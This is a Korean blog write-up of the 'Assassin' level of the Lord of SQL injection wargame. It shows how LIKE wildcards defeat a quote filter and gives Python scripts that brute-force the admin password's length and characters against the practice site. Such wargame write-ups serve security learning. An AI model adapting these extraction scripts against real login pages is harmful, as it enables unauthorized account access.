Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

D1N0's hacking blog

Lord of SQL injection - Assassin 본문

Web/Lord of SQL injection

Lord of SQL injection - Assassin

D1N0 2021. 2. 19. 22:50

문제 풀이

세상에... 따옴표를 필터링하고 있다

지금까지 사용했던 SQL 인젝션 기법으로는 풀 수 없어 보인다

유일하게 전과 다른 것은 쿼리문에서 =이 아니라 like를 사용한다는 것이다

like는 =과 비슷하게 작동하여 전에 =을 우회하기 위해서도 사용하였지만 한 가지 큰 차이점이 있는데,

바로 와일드카드를 사용할 수 있다는 점이다

STEP 0 - SQL injection 취약점 확인

like는 특정 문자를 모르더라도 검색할 수 있는 와일드카드 %와 _를 지원한다

%는 문자의 길이에 관계없이 어떤 문자가 오던 상관없이 가져오고,

_는 딱 한 글자를 어떤 문자던지 상관없이 가져온다

예를 들어, A%B라면 ACB, A1234B, AB 등을 모두 가져오고,

A_B라면 ACB는 가져올 수 있지만 AB, A1234B 등은 가져올 수 없다

정말 통하는지 확인해보기 위해 pw에 %를 넣어보자

%의 헥스값은 0x25이므로 %25로 넣어주면 된다

이렇게 Hello guest라고 뜨는 것을 보아 잘 동작하는 것을 알 수 있다

또, admin보다 guest가 테이블의 더 위에 있는 것을 알 수 있다

이제 이를 이용하여 본격적으로 비밀번호를 찾아보겠다

STEP 1 - pw 길이 구하기

먼저, _를 사용하면 간단히 길이를 구할 수 있다

pw를 _ 한개, _두 개,... 이어가다 보면 길이가 맞을 때 Hello 메시지를 띄울 것이다

다음과 같이 코드를 짜보았다

import requests

target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

for i in range(100):
    pay = f"?pw=" + "_" * i
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

어라? 결과가 나오지 않는다

비밀번호 길이가 100자리 이상인 경우를 배제하면, guest와 admin의 비밀번호 길이가 같기 때문에 Hello guest가 뜬 것 같다

따라서 코드를 다음과 같이 수정한다

import requests

target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

for i in range(100):
    pay = f"?pw=" + "_" * i
    res = requests.get(target + pay, cookies=cookies)
    if "Hello guest" in res.text:
        print("length :", i)
        length = i
        break

비교문에서 Hello admin을 Hello guest로만 바꾼 코드이다

다시 실행해보면 8이라는 길이가 정상적으로 나오는 것을 알 수 있다

STEP 2 - pw 구하기

길이를 구했으니 와일드카드를 이용해 한 글자씩 구하면 된다

반복문을 사용해서 ________에서 한 글자만 바꾸어 결과가 정상적으로 나오는지를 보면 된다

아까처럼 admin과 guest의 같은 자리 비밀번호가 같을 수 있으므로 이를 고려해서 Hello admin이 나오지 않는다면 Hello guest가 나오는 값을 구하도록 짜면 된다

import requests

target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

length = 8
pw = str()
for i in range(1, length + 1):
    print("finding", i)
    for j in range(32, 127): #출력 가능한 문자 범위
        if j == 37 or j == 95: # 와일드카드 %, _ 제외
            continue
        pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            pw += chr(j)
            break
    if len(pw) < i:
        for j in range(32, 127):
            if j == 37 or j == 95:
                continue
            pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
            res = requests.get(target + pay, cookies=cookies)
            if "Hello guest" in res.text:
                pw += chr(j)
                break
print("pw :", pw)

조금 시간이 지나면 pw가 나온다

STEP 3 - 인증하기

구한 pw를 넣으면 클리어 된다

STEP 4 - 개선

코드를 보면 조금 비효율적인 부분이 있는 것 같아서 살짝 고쳤다

모든 문자를 다 돌고 admin이 없으면 guest를 찾으러 한번 더 도는 것보다

guest를 먼저 찾으면 미리 저장해뒀다가 admin이 안나왔을 때 바로 그 값을 사용하도록 바꿔보았다

 

import requests

target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

length = 8
pw = str()
for i in range(1, length + 1):
    print("finding", i)
    for j in range(32, 127):
        if j == 37 or j == 95: # %, _
            continue
        pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            pw += chr(j)
            break
        elif "Hello guest" in res.text:
            tmp = chr(j)
    if len(pw) < i:
        pw += tmp
print("pw :", pw)

여전히 느리긴 하지만 앞선 코드보단 빠른 것을 확인할 수 있다

 

전체 코드

import requests

target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?pw=" + "_" * i
    res = requests.get(target + pay, cookies=cookies)
    if "Hello guest" in res.text:
        print("length :", i)
        length = i
        break

#######get pw#######

pw = str()
for i in range(1, length + 1):
    print("finding", i)
    for j in range(32, 127):
        if j == 37 or j == 95:
            continue
        pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            pw += chr(j)
            break
        elif "Hello guest" in res.text:
            tmp = chr(j)
    if len(pw) < i:
        pw += tmp
print("pw :", pw)

'Web > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection - Giant  (0) 2021.02.15
Lord of SQL injection - Bugbear  (0) 2020.11.30
Lord of SQL injection - Darkknight  (0) 2020.11.14
Lord of SQL injection - Golem  (0) 2020.11.12
Lord of SQL injection - Skeleton  (0) 2020.11.11
Comments